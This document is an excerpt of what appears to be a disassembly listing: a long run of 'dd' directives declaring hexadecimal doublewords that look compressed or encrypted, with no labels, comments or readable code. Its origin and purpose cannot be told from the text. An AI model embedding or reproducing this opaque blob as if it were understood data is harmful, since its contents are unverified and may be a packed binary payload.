		dd 4D7249C8h, 197002FEh, 20A1824Ch, 7E023AE0h, 0B583C700h
		dd 8C2A8D58h, 27230054h, 0F2A5299Fh, 800BAC2h, 0B4A93ADFh
		dd 6BA41Ch, 802DEB43h, 5134C3A6h, 5F60FF01h, 70E0609h
		dd 3E4287D8h, 25010215h, 911F6850h, 0DB83E055h,	2FB97B00h
		dd 567E7ADAh, 0C89C074Dh, 1F5D5CE0h, 38C75060h,	0EFE8588Ah
		dd 5A260D01h, 32205F74h, 15A5B340h, 10240009h, 438D55C1h
		dd 3600352Ah, 19AAA034h, 900D9EFAh, 2C493926h, 44A94603h
		dd 9A984B81h, 0EC0F7D38h, 0E5197515h, 0F38009D4h, 170880h
		dd 2EAF2695h, 4CA7101Ch, 0EC3C2207h, 9F0402Ah, 0C777E8h
		dd 99A152BDh, 0C612B39h, 30500600h, 6BE6AEBCh, 29E00DBh
		dd 0A02174C7h, 0B70B0F1Ah, 80A41840h, 177C610Fh, 160A005Ch
		dd 7EC05FC9h, 0EB0097F4h, 34502CBEh, 5864BBh, 698592A8h
		dd 94A791DBh, 9522721Eh, 8EF6BD80h, 3DD1DDDAh, 8C004BD7h
		dd 2C0806A4h, 89030984h, 55437850h, 0E06AB830h,	2F1D00EEh
		dd 0FCDEC301h, 4000DFCBh, 0B7C766EBh, 0FC0A9E0Ch, 7F484h
		dd 144604DDh, 0A1081DD8h, 0F46F2439h, 0FF00FBFCh, 6DA1876h
		dd 1D8E7F78h, 40CF8B7Bh, 0D04AA613h, 0B300DDFAh, 0B871F7C2h
		dd 1CB4AF4Bh, 3FCC0619h, 4C358B80h, 214A7E64h, 9A07787Ch
		dd 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h, 80477349h, 0ED84B90Dh
		dd 8C7A8616h, 0A1F03400h, 167F425h, 2F2DC55Fh, 0F59E8351h
		dd 6688F405h, 53153707h, 24E57593h, 8B3BB0C0h, 5AF10728h
		dd 0E0609749h, 365D3857h, 3F529B00h, 0CF4404B4h, 0A3EA5Ch
		dd 0B24E944Ah, 21565762h, 0EA73AE00h, 381625C4h, 8F1800D2h
		dd 4267E37h, 920E459Eh,	0C0318E2Fh, 4A0146E1h, 0F2EB004Fh
		dd 511DDA73h, 0C400132Ah, 79642FECh, 81D817h, 0B6B2ACF4h
		dd 2B334DCCh, 54B31D06h, 3BC51E0Ch, 119D211Ah, 89190034h
		dd 0D1AD0868h, 2CA92300h, 4930900Ah, 0D8C10F96h, 7F407E83h
		dd 70687705h, 0E0185E00h, 453020C8h, 28663B40h,	2B344207h
		dd 1525400Ch, 570F12BEh, 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h
		dd 8FF092h, 0BF06CAB6h,	0C0DE2090h, 0D3FF1E00h,	0BDC8558Dh
		dd 6FC1007Eh, 29CC1317h, 561F6119h, 88000C49h, 35941D55h
		dd 89B0047h, 66929EA4h,	2116739Dh, 3D0029E2h, 97A38289h
		dd 68A200B4h, 579B6C4Ah, 553B9894h, 0B12400CAh,	589C5172h
		dd 3C0F7DEBh, 6A00F277h, 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h
		dd 0FCF57226h, 3446007Eh, 0DA4714F2h, 0F7F8F424h, 77AA1960h
		dd 2B9AF9h, 0DB99FE45h,	0B86F28AAh, 461B6000h, 0C8D42F20h
		dd 81080025h, 0ED0A2923h, 8CF05290h, 6A71140Bh,	1E43006Dh
		dd 0F1811EAh, 0FCA2E953h, 0A09F13C3h, 88F680A7h, 0E800B0ECh
		dd 66A05F1h, 2413CE5Eh,	0AD6C7Ch, 59A94E82h, 0A20E9048h
		dd 40A14434h, 2058B9A4h, 5EA5008Ah, 0CBAB920Fh,	0DD0124C8h
		dd 52501121h, 25611C18h, 2E745E0h, 0F5289833h, 0DD601D02h
		dd 0F978DD31h, 0F048998h, 820CD054h, 8AD5B080h,	24B70037h
		dd 49E65906h, 630061BFh, 0AE121D58h, 980E4427h,	0E8DE4A4Dh
		dd 0BE870001h, 89DFFBFAh, 0C18500CFh, 151F57FEh, 67008F17h
		dd 0B9EF4548h, 8FC0Bh, 1C5DCAFAh, 3E9E055h, 0A468D900h
		dd 81D4B785h, 0C4900029h, 21718A23h, 38054424h,	5EEE1D0Fh
		dd 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h, 7B1E09FFh, 0F5DE421Ch
		dd 6843AEC0h, 0E1F532Ch, 0A8DBC816h, 0BAD61C61h, 0F12AF024h
		dd 810726FEh, 31400689h, 0DA534540h, 3421001Bh,	381CDE71h
		dd 0F200C485h, 11173C72h, 744C8EEh, 23E2475Ch, 9D13604Ch
		dd 0E54C49E4h, 0B2F1E4Eh, 0BE644AC2h, 84F5403Eh, 4B345C56h
		dd 50B8BB00h, 60318925h, 7327EB00h, 3D80DE04h, 20BA008Ch
		dd 37E805CCh, 8D0093F1h, 10739BC7h, 8B9A0Dh, 5CCDD5C8h
		dd 2E4104E4h, 79656B00h, 0C4D9F5C2h, 0F0723967h, 6C696687h
		dd 5C30F0EBh, 0D0094C0h, 0E0221E75h, 7542320h, 8A53C379h
		dd 70818027h, 9300B57Ah, 9A61F265h, 6ED60Eh, 196D323Eh
		dd 77592B68h, 7DB7BF00h, 0DC25E1Fh, 0D60401C6h,	0C08B4281h
		dd 109560F8h, 5407ECF0h, 49EAAF97h, 8E41D0C0h, 8C8B0380h
		dd 23DD5CF4h, 58D89490h, 52510F00h, 9FB35D2h, 0E68E009Ah
		dd 0A6E9661h, 3000C481h, 604FC319h, 158D13h, 23515092h
		dd 0AD90BC10h, 0A38A900h, 21DFDAEh, 89D838FEh, 0C108071Eh
		dd 14100E0Ch, 207D2016h, 0E09FBE70h, 7A706014h,	0C0A00380h
		dd 910129E0h, 44022290h, 89040300h, 18251505h, 310E214h
		dd 84820636h, 0A9309E2h, 0CB30BA3h, 0ED30DC3h, 10F30FE3h
		dd 80A711F1h, 51C1124Eh, 0E56D18Bh, 5780882Eh, 44A3900h
		dd 53063572h, 0A09DF8BEh, 188A00B8h, 5C882840h,	0AA009CADh
		dd 5808420Bh, 0E6D8B7CBh, 318107EEh, 0E04FFFE7h, 47AFCC7h
		dd 0FE031B00h, 5CD72F89h, 783B6014h, 9A0FD273h,	27017279h
		dd 0CE2B1080h, 70D4E8D3h, 790101A4h, 9125CF37h,	0B9803E0Ch
		dd 896182h, 0B5595E3Eh,	32DC1F6Ah, 7FC0AD1Fh, 0EBBC8100h
		dd 7911ABBh, 17410D88h,	8C1E6082h, 29000525h, 2402D6F8h
		dd 0C82D66h, 505553B4h,	22579856h, 0F00FB901h, 612EA2AAh
		dd 0B89D8DE0h, 0F6810054h, 0BC8BABF3h, 3E00E92Fh, 0F4EE3B13h
		dd 5E76F0h, 5A8FD15h, 8C5C8B38h, 4CFC831Ch, 40430800h
		dd 6089C53Bh, 0B9EBE819h, 0D006117h, 0F7282474h, 7440698h
		dd 62336815h, 0C71CD0FFh
		dd 17CC849h, 890080ECh,	656A8D18h, 0E0142708h, 2C340696h
		dd 0D403E0D3h, 13DE8100h, 0C43EF101h, 5187000Fh, 30B5788Eh
		dd 0A870EC7Eh, 33C5D00h, 10F983C3h, 27DB0h, 6C24C040h
		dd 758B4D7Ch, 6DC9A41Fh, 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h
		dd 3E8025CEh, 300CB2Bh,	0D88A28FBh, 0DAE9B9h, 0BD766C89h
		dd 3981BF34h, 0BB661007h, 89FB0714h, 0CA70809Bh, 320FE49h
		dd 7B4ED87Dh, 0EAF0DFAAh, 4A00A284h, 401A025Dh,	5FC49h
		dd 7E09CA32h, 299BA9B5h, 0F049800h, 4295628Dh, 0FF960367h
		dd 320DC0B6h, 26985B98h, 1F046973h, 23824B11h, 61C98B80h
		dd 0F13B1EEDh, 26807EB4h, 0C12FC88Ah, 4200229Fh, 8F2A8894h
		dd 84BA6Ch, 0C896809h, 373B0D87h, 0BCE2B328h, 47210A1Fh
		dd 1F4C5E67h, 0FAC89741h, 0B0AD3800h, 0BD1C01h,	579CFFD4h
		dd 788306C7h, 7208C100h, 8AA0EF30h, 26410111h, 0BE055488h
		dd 0E648DCFBh, 8E12400h, 14CA6AE2h, 0DB00950h, 0B680F8C2h
		dd 7817AEEFh, 7334F900h, 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh
		dd 0E325DC49h, 5CA65AC0h, 64A42201h, 29279612h,	80C8D4h
		dd 0DCC0E407h, 111C8A1Eh, 0EBD38700h, 2C46103Bh, 0C30A3973h
		dd 0D21B2800h, 0F3FF9278h, 30143F00h, 2FD707AFh, 208C0ABDh
		dd 1F8E3418h, 38818108h, 0DC110D12h, 2EF03C02h,	0E8B0F00h
		dd 843079C9h, 896F00FAh, 961C410Ah, 431F18B9h, 0E680C371h
		dd 0DABDE85Fh, 62044C97h, 8E8BC107h, 31745389h,	598125D0h
		dd 6212F400h, 4068D233h, 70BCE6B7h, 1689007Eh, 9B2C888Ah
		dd 957B65B8h, 7AA41C18h, 3E3DAh, 0F8804037h, 91E6723Ah
		dd 4F8D98C0h, 3B685063h, 0E8001FD1h, 0B942F7CCh, 38015878h
		dd 0E57A08Fh, 30E40820h, 13900085h, 8941C021h, 0A4006087h
		dd 50C4E6Bh, 5B0FF5h, 81DEB9Bh,	0E25ED112h, 757D605h, 0C0BE8D43h
		dd 9CD7F219h, 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h
		dd 0BDB99D8Eh, 25013C0h, 527E5411h, 5295800h, 0C4860CDh
		dd 0FAA6005Ch, 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h
		dd 8D29C8D9h, 0CA6B0069h, 71CDD1C1h, 8A0055D0h,	1D4899BCh
		dd 136BB28h, 6A2C53ABh,	0D10A34AAh, 8864F404h, 9C1C024h
		dd 4D008316h, 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h
		dd 0B929907h, 0D200F35h, 2C35943h, 6D316C62h, 8840098Dh
		dd 15017310h, 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch
		dd 0EB462434h, 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h
		dd 0F5FE8111h, 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh
		dd 3679EB32h, 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh
		dd 1C13770Bh, 0C6501700h, 46E024A3h, 71480F65h,	0FC020EDh
		dd 7B2738Ch, 920EB700h,	104B053Dh, 0AB3A0052h, 24848D0Ah
		dd 0A4003B29h, 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h
		dd 0BE02BC0h, 640083C6h, 80DD98DFh, 0FA0451BCh,	2E7505CDh
		dd 0C005DAFDh, 2407EB80h, 39331B48h, 651200F5h,	0BE54D21Ch
		dd 0E0587D6Eh, 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h
		dd 5E9BDC00h, 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h
		dd 85C3C7CCh, 97908Dh, 8814577Ah, 5D6558DCh, 10056703h
		dd 9843860Fh, 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh
		dd 0C30041A2h, 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh
		dd 68054100h, 1E88BF1h,	971129Ch, 8D0600C1h, 0A3422E31h
		dd 6500700h, 21BF145Eh,	3D8EFADAh, 44D8AC33h, 84E2F00h
		dd 980990F4h, 0E9AB1000h, 32729B23h, 3C70BD2Ch,	5A8DCB00h
		dd 0C1A9C14h, 9A1501F5h, 0C2563DCDh, 7BD62011h,	0CE08F701h
		dd 2CBFC39Dh, 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h
		dd 946DE407h, 80C092DAh, 0F4887Ah, 0D741529Ah, 0CA03140Bh
		dd 89770600h, 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h
		dd 906CC41Ch, 74F07EB8h, 0FF0083F6h, 715A7203h,	1E8D0502h
		dd 44FD6Fh, 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h
		dd 1AB4002Fh, 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh
		dd 8C93008Bh, 6A733882h, 963D79CFh, 0C881002Bh,	0EFD3C503h
		dd 80461E18h, 0E74387CDh, 8A19F24h, 0D7E40130h,	0F81CF6E8h
		dd 5B5AEB00h, 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h
		dd 0D005AD7h, 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h
		dd 8C008B1Ah, 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h
		dd 8600FD1Bh, 1552C862h, 0F21FBB4Ch, 58D40089h,	0DDB17F1Eh
		dd 500E8E88h, 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h
		dd 2BD00024h, 8A3C40D1h, 50880312h, 0F0693FE2h,	3907B8Bh
		dd 96C70391h, 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h
		dd 0F286Eh, 0C6AFC382h,	2C1347D2h, 6400FAB0h, 0C217AA83h
		dd 4CCD1852h, 0AB00E428h, 69B03CE8h, 850341A3h,	78843888h
		dd 0CB47C370h, 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h
		dd 27E75AFDh, 0D190C3h,	406A8726h, 1E100668h, 84E3F900h
		dd 2C1F62BAh, 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh
		dd 0A8178044h, 15E1A7FCh, 3E860EE6h, 12C04BAFh,	37208A5Ah
		dd 0A11C51E8h, 5FD73B11h, 7C543700h, 767E532Fh,	0B097FCEh
		dd 57428758h, 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch
		dd 5155E9h, 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h
		dd 31300CEh, 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h
		dd 0A21D03ECh, 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh
		dd 0FCF80FDh, 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h
		dd 2757E181h, 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh
		dd 0FA18D2CBh, 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h
		dd 923DC229h, 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh
		dd 4BE84001h, 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh
		dd 78CB0E00h, 387225Ah,	56824C75h, 539B425Bh, 724D45A8h
		dd 18DB7F00h, 24945A48h, 55890112h, 25E2E3AEh, 8FD040B9h
		dd 0C00293Bh, 97ADC65Fh, 6BC572h, 0C45B18A1h, 58A5DA88h
		dd 95846007h, 0FC0010C6h, 800203h, 0F3E4E938h, 11C9798h
		dd 0C23A8300h, 0C7405674h, 4A9300D4h, 4C35B20h,	48000D7Bh
		dd 0DB2A5E52h, 17A95AAh, 6F1CA5A3h, 0E8744DCEh,	0B80037D4h
		dd 97778AE3h, 839023h, 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h
		dd 4A8DCA7Fh, 70291FEEh, 9CEC0E9h, 0ADDC071Ah, 7100D9F4h
		dd 0AEF00CB1h, 3FF45174h, 0EE8031CBh, 8DA6C6ACh, 821D27AAh
		dd 14C0C3F1h, 0F5F20195h, 5C8500F6h, 0DD54029h,	9200519Dh
		dd 0B2523E4Bh, 3E9A776h, 29E5F810h, 0FCB8401Ch,	0ED58DBE8h
		dd 0D5371E65h, 89F4B841h, 3CE702F0h, 0B10FC458h, 8280A605h
		dd 87453D80h, 6F936400h, 6D37803h, 20050055h, 2608A11Bh
		dd 44006209h, 9811B34Ch, 7E750664h, 270C070Dh, 70B68DBFh
		dd 8CF61471h, 541A1500h, 0AC2EDC8Ah, 789005Eh, 0A96C7952h
		dd 44007C34h, 0E8170509h, 7AD95F7h, 804893D8h, 875C05Dh
		dd 141FCCD3h, 6C02CA3h,	18F7C62Dh, 1D890017h, 0F9533BA1h
		dd 0A6EC32CEh, 0AC21DE00h, 79E3184h, 0A8363997h, 1D803AFAh
		dd 74300E80h, 0B8327563h, 9D607700h, 5CD24DB3h,	580A00B9h
		dd 649C100Bh, 840F94A7h, 20309FAEh, 42A9A824h, 0FF011E53h
		dd 5780405Bh
		dd 6F646E69h, 734B7705h, 0C580DCAAh, 1353925h, 7FE43B7Dh
		dd 7E4F1219h, 60C5AFB0h, 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh
		dd 4D9F0031h, 4E433C69h, 33F80154h, 7542252Eh, 344E7095h
		dd 8057900h, 2306A32h, 58700060h, 10258050h, 4C00FCBFh
		dd 0C9987ECBh, 0F2C1997Fh, 36BC002Bh, 29A97B84h, 0F4F4497Ah
		dd 0DF535700h, 48E71CBBh, 3E79722Dh, 2E00760Ch,	95D7F2F0h
		dd 0B5001B7Fh, 0CAFF50D3h, 0DF7126h, 33CD9214h,	474F5455h
		dd 6843EC0Fh, 27A0008Ch, 1A40A9h, 7D017F2Eh, 137534F8h
		dd 5AD37B03h, 1E9DECh, 64ABFA10h, 34568B46h, 0BB668200h
		dd 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h, 5FC0EC2h,	0FE120100h
		dd 0A93CEF2h, 0FC064F09h, 0DB642ED6h, 5B15D803h, 0AB5CB8AFh
		dd 0A9441DB9h, 0C02D402Bh, 923EE92Eh, 7600F6F8h, 199BB82h
		dd 7A75251Ch, 4B0A0F42h, 0C200A7D4h, 447B57FCh,	0A38F6950h
		dd 22AF4500h, 7EDE0930h, 1AD6482Fh, 55F0AC00h, 0BF5405D4h
		dd 5700A975h, 4B780C73h, 4142ABh, 5B9CFCD6h, 9D5A1799h
		dd 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh, 0DE20004h, 61D92B4Ah
		dd 3100A521h, 7795CE96h, 39411317h, 1ABDAB52h, 6A986280h
		dd 2153CCA5h, 0AC73F000h, 0BE927D33h, 0C0AE00D5h, 0C7448D3h
		dd 2A000FE6h, 17D88384h, 749C53E9h, 67C40044h, 0CB21F25h
		dd 0A030E0Dh, 2A35EAE7h, 4C18E874h, 134B008Dh, 0FEF6CCA1h
		dd 85055729h, 8CBA9A3Fh, 0C951CE80h, 0B3070105h, 0F9255D02h
		dd 2C81DCD4h, 0A67C3D00h, 41B5A9Ch, 0B3980A34h,	1CFEB05h
		dd 0FC79F878h, 0B785ECBAh, 8E23443Eh, 5203A358h, 0A552200h
		dd 1D7E664Eh, 0C7101341h, 0B0279943h, 3CEB2806h, 0A8EA9200h
		dd 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah, 0A306B326h, 0C307C822h
		dd 81C1E72h, 9801AE3h, 0B89616E2h, 0E4B000Dh, 0D0387406h
		dd 0E8390AB3h, 910B0002h, 0AC7A6223h, 4DF94C57h, 42014400h
		dd 41920CA5h, 0B4D8BF00h, 0EB15FF60h, 111C4C28h, 855BC15Bh
		dd 0D7F0E089h, 0AA9C5E00h, 1254AF75h, 0A0094C0Fh, 1F1C800h
		dd 4FE83202h, 0FE0BA100h, 287C0A6Ah, 5E49002Fh,	92981062h
		dd 972F7908h, 9E74AFh, 3D024429h, 0E3B9D90h, 0EB0726EAh
		dd 4719CC01h, 74C0315Ah, 458A006Ah, 16033CFAh, 66002875h
		dd 0BA4B6EA9h, 80FFC3h,	0FA410A86h, 0F6434825h,	83D84D00h
		dd 8CE02E0h, 1D9A24F8h,	0BA3F0033h, 3C3B1996h, 2437B400h
		dd 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch, 0FA904714h, 7A0C2500h
		dd 0CA09E13Dh, 5EA49h, 5BB9827Eh, 0FC0ADE64h, 20005077h
		dd 34BA8CF1h, 3A4FB80Bh, 5700D102h, 0B478BF9Ah,	0CC001E6Ch
		dd 33FD0FF5h, 5C6A60B9h, 0BA008F01h, 94157C57h,	17780A87h
		dd 0F2009077h, 1252988Eh, 9C2C39h, 0FE3ED711h, 0F7934ACBh
		dd 0B220400h, 64F840BFh, 0FD820375h, 9C917F70h,	533E2F90h
		dd 74739F00h, 435C6D81h, 0C7720075h, 0EBD46EBBh, 0CF0FACE8h
		dd 0E0947E53h, 3529DE0Bh, 0AE4F0793h, 0C073EFE4h, 495750B4h
		dd 4A4E7100h, 53D83854h, 52450F1Bh, 26410656h, 0E84CEC3Ch
		dd 4D7A4E41h, 0AF284B00h, 0FF2E102Dh, 1AEE224h,	308298E9h
		dd 0C83A41B0h, 4799B0Dh, 407F7700h, 3D0F0B76h, 0E13F0087h
		dd 0D3852489h, 0EC00D257h, 0AF640345h, 481B08h,	224B9133h
		dd 0C87B4363h, 0E178AE78h, 0B2F63Ah, 11E40D27h,	0F15E084h
		dd 0E93520FBh, 155A040h, 8300F818h, 8A0EF3E1h, 3E7630ECh
		dd 0B207F053h, 709217F4h, 0F8347B59h, 0DF031E74h, 6552AC29h
		dd 0EFF38812h, 6BC003F2h, 3BC5600Eh, 649D9298h,	0F00767E2h
		dd 4654FC08h, 8E31E250h, 65F27Eh, 0A11CEBD8h, 4E1F0415h
		dd 4FC4B803h, 0B937036Ch, 6E30F9B0h, 2B130091h,	21BF5DE7h
		dd 9C009744h, 61C8427h,	806477h, 0C3695399h, 226F0991h
		dd 8B447D1Eh, 12A789C0h, 0C82CB5h, 0ED46BBAh, 5B9FEDD9h
		dd 0A21D3700h, 0E0D5E230h, 0FE86000Ch, 0F80EFF54h, 8A1D1CA7h
		dd 71C0B110h, 40231B28h, 6F9B014Ah, 57B42C33h, 6B72D813h
		dd 61A20900h, 74797D92h, 9F833E49h, 64F7600h, 41B10CBCh
		dd 61FC6400h, 65633B6Eh, 19200029h, 503CDEA7h, 0E4FF6D6Fh
		dd 64004515h, 0B84F3D69h, 0D0E4ACh, 736566D3h, 612D8AE3h
		dd 0C4186C00h, 0CE444D11h, 8E3A03CBh, 4A86EA6Eh, 0BBB8BEB8h
		dd 0B926A501h, 9CB2128Bh, 0B864CBE3h, 90940975h, 0E2320AF1h
		dd 7CDCDE5h, 20BB3976h,	0B70F4540h, 975C5D24h, 18218039h
		dd 0BAA728B9h, 72EB003Ch, 99D7841Dh, 931E0E12h,	4F81348Dh
		dd 1A49BEA2h, 55817C4h,	0DB849B0Fh, 0B9C7C093h,	99002F64h
		dd 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h, 9ECBF373h, 0F3984408h
		dd 8E53143Ah, 48DD56h, 2A88FC95h, 3C5C4887h, 45542100h
		dd 0F509764Dh, 4F26B600h, 8FEED912h, 0C21000C0h, 9FA1A4B2h
		dd 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h, 0F0B05457h, 0B534C627h
		dd 9A9800D8h, 0C91A8F7Eh, 79FF3600h, 0D35DF2E9h, 530B018Ch
		dd 974C4450h, 0F07D21D5h, 2201B964h, 0F47BB41Bh, 25E0FB16h
		dd 0C6940088h, 8018829Dh, 757BFE3Bh, 2636DE07h,	731510C1h
		dd 8D0874C1h, 0FA8CC870h, 94F7FA3h, 0A804BCEh, 0F00988Eh
		dd 4388C094h, 4E750161h, 57D874D3h, 0ABC300AEh,	0AB06933h
		dd 5C1D5116h, 0B840A7F2h, 3B534108h, 387D0130h,	9D4AC2F4h
		dd 72CAF407h, 8F8D0C02h, 0E0DEC312h, 74F8DA2Dh,	856F0EDCh
		dd 0B12BD3Ch, 5DFEADh, 42409723h, 31C2008Ah, 0EB18F98Bh
		dd 270F3A10h, 0C0097221h, 805703D5h, 75B907FAh,	90B389BBh
		dd 9C159C7h, 0D4310F00h, 1398C44Ch, 3047D83h, 5570C09Bh
		dd 0D0E70EC8h, 12BC62B8h, 0CAD95200h, 1005DC46h, 0B08C00D8h
		dd 1FA4D030h, 6726D443h, 0F601AF27h, 834807E8h,	24A814F0h
		dd 3D7538Dh, 0F719B752h, 0C01BD890h, 38840800h,	2761012h
		dd 56E90009h, 33557EA5h, 6E1C8B78h, 5DC08F92h, 0E805D0D6h
		dd 0B94800AFh, 0A124B767h, 0F500E9BAh, 18EC0C99h, 12A95A8h
		dd 0AC0E495Fh, 0D8727D81h, 0FD007F63h, 480FDF05h, 2EA4BF17h
		dd 70A42E5h, 30EB3014h,	8CB8E88Ah, 9C472C3Fh, 9BC03BE6h
		dd 66AB55Fh, 0C455008Bh, 24A7FA5Ah, 787BF1E9h, 0E1723200h
		dd 0EA103D17h, 3484C0E6h, 0E52DF454h, 1A8C2114h, 0BC08009Dh
		dd 3D3AD490h, 0A4B10382h, 65DF7201h, 0C76ABDE8h, 0DC67F00h
		dd 0A550F246h, 16A60081h, 7322E2E6h, 7C3BCCB8h,	821B812Bh
		dd 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh, 0A0A30109h, 0FC799286h
		dd 200012E1h, 6DDFA418h, 7A5699F1h, 429800E0h, 10F9C0Eh
		dd 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h, 33C076E4h, 0D040B45Dh
		dd 0D4961900h, 6138A03h, 0BEF93C48h, 944E6F80h,	2C77B540h
		dd 0DC752000h, 0D7E5F303h, 7D8324C0h, 740F00DBh, 8EC8A38Ch
		dd 703D155Ch, 48D3F00h,	99C62B5Bh, 0C2750033h, 32F546E5h
		dd 97008F22h, 2CC86692h, 3D81D140h, 9183D80Ch, 4B0A5B6Bh
		dd 4CB8490h, 1941CA00h,	8345A0EAh, 0B4B80A62h, 81AE1Eh
		dd 6461C8BCh, 0DC009877h, 0CDC003EDh, 6280F0h, 31E075EEh
		dd 7C7E06FAh, 3EE66D58h, 30AA0044h, 8D985EE6h, 18890235h
		dd 5808050Bh, 810972C0h, 0DB033Fh, 8F8B9B1Ch, 4BC32Bh
		dd 2A299671h, 621A40FFh, 50845500h, 0D009A40Ch,	4CE208h
		dd 2F58E830h, 71B64F69h, 0CAB03C00h, 20C463E9h,	94BC2441h
		dd 0F61E3Ah, 8B28BB3Ah
		dd 48010537h, 2C438319h, 42301221h, 14660030h, 16BE8B50h
		dd 0FE00344Ah, 7B80DE02h, 0D6C103h, 0F2B0576Eh,	0EA52BA68h
		dd 5900D5ECh, 0F84E8D6Dh, 6C0394Ah, 7705F980h, 49FAFC51h
		dd 1904DAFAh, 1708B710h, 29C01E87h, 0B8913248h,	89560009h
		dd 33EB684Bh, 7A1CC72Bh, 6E407980h, 1081322h, 88191D90h
		dd 1E101D02h, 3E071E04h, 0CEF62780h, 0DE89F1Bh,	850F240Bh
		dd 8A3980CCh, 73E43h, 1D74052Ch, 4F83C8FEh, 0F50EE3Ah
		dd 0D488FA08h, 842E00BCh, 0AAEDE93Fh, 6ABB00BDh, 0F81C904Ch
		dd 87000FC6h, 369C37B7h, 48F38918h, 8009939h, 0C8C111ADh
		dd 8E00D509h, 14550E9h,	0FA1833FDh, 25F822h, 367B8D05h
		dd 0EB1354BEh, 5C9DA30Fh, 17E980C3h, 14801ABh, 425E8414h
		dd 0EDE4F2B4h, 5CBCE488h, 74F244F2h, 5026A9F2h,	57038171h
		dd 0B80B20EDh, 3E548602h, 6583C976h, 37A608BAh,	0CEE4B898h
		dd 0B9364404h, 1380810Ch, 7614868Ah, 5D450349h,	97D45942h
		dd 0BDA400F5h, 93208BF1h, 0E807CC98h, 2D121AD3h, 864814C0h
		dd 0A9910077h, 0EB2A8A3Bh, 11012C3Ch, 1408F534h, 68F85F64h
		dd 1B3B0178h, 0BE0A0960h, 5310601Dh, 0E200287Fh, 4A4B9734h
		dd 9C5A7h, 91160722h, 0D40B944Fh, 0ED145Ch, 136DA48Fh
		dd 0E274067Ch, 4409000Eh, 3E882E1Eh, 500056EBh,	0B7C4A28Ch
		dd 33C6A65h, 0D689AFF7h, 0E6A01499h, 6300ACD9h,	4D4BFCB8h
		dd 0BADCFFh, 0B2365C43h, 0EB2B5A20h, 7CD7F07h, 47332C0Ah
		dd 81069017h, 1D3A9024h, 4014C95Fh, 0E57C115Dh,	4C00210Eh
		dd 3BF23C10h, 264B22BCh, 19142Ah, 74D807C8h, 900785BEh
		dd 68B2A4F0h, 0E6BB4160h, 9FB0000Ah, 0BCB95D09h, 0C3004916h
		dd 25856C03h, 0C4001h, 36383420h, 0B6587644h, 630011ECh
		dd 0B5C2EF75h, 14302B01h, 0ECFA5390h, 2E0F323Ch, 0FD660D4h
		dd 80BDCAE7h, 7257865Fh, 2DE06269h, 63614200h, 6E45206Bh
		dd 3568005Eh, 56A47A57h, 3400291Ch, 505B7660h, 695D03h
		dd 2F856D75h, 0D4309401h, 535E3Ah, 0C2E349BCh, 436517h
		dd 0B6B2BE1Ch, 6D90B56Eh, 58007298h, 307053EFh,	3B314BADh
		dd 3752DA5h, 0DCAFB590h, 11905098h, 4D002809h, 8C27646Fh
		dd 295525h, 0A534482Ch,	0CD9AFAD8h, 6B019D07h, 5070AC53h
		dd 0FC75DEh, 6AD25930h,	4264A128h, 8B83BF12h, 1978E000h
		dd 760A464Eh, 0A7091DE5h, 0A87C4027h, 0F67E704Fh, 804A0200h
		dd 0CC5B89FCh, 8A787Dh,	0E0B9C45Eh, 0E3820A73h,	582F262Eh
		dd 58BED000h, 210F37Eh,	69E0BF80h, 8DD4468Ah, 0A074020Eh
		dd 50137D09h, 0B01E005Ch, 114B9487h, 0E43AE021h, 0C010003Ah
		dd 0B4292E0Eh, 0DBC307E5h, 0B0481732h, 0BB46B33Ch, 6B00E2F0h
		dd 5AA2F9BFh, 49655Fh, 479430Bh, 4CCA7831h, 2000E698h
		dd 76324D58h, 0EE476113h, 957C002Eh, 0D8363930h, 1B776ACDh
		dd 0B60017B8h, 4A53E8Eh, 584D5Ah, 5E2D48Fh, 93D30A29h
		dd 0BF00CB7Ah, 0C1901512h, 7850B346h, 9443072Ch, 117ABC49h
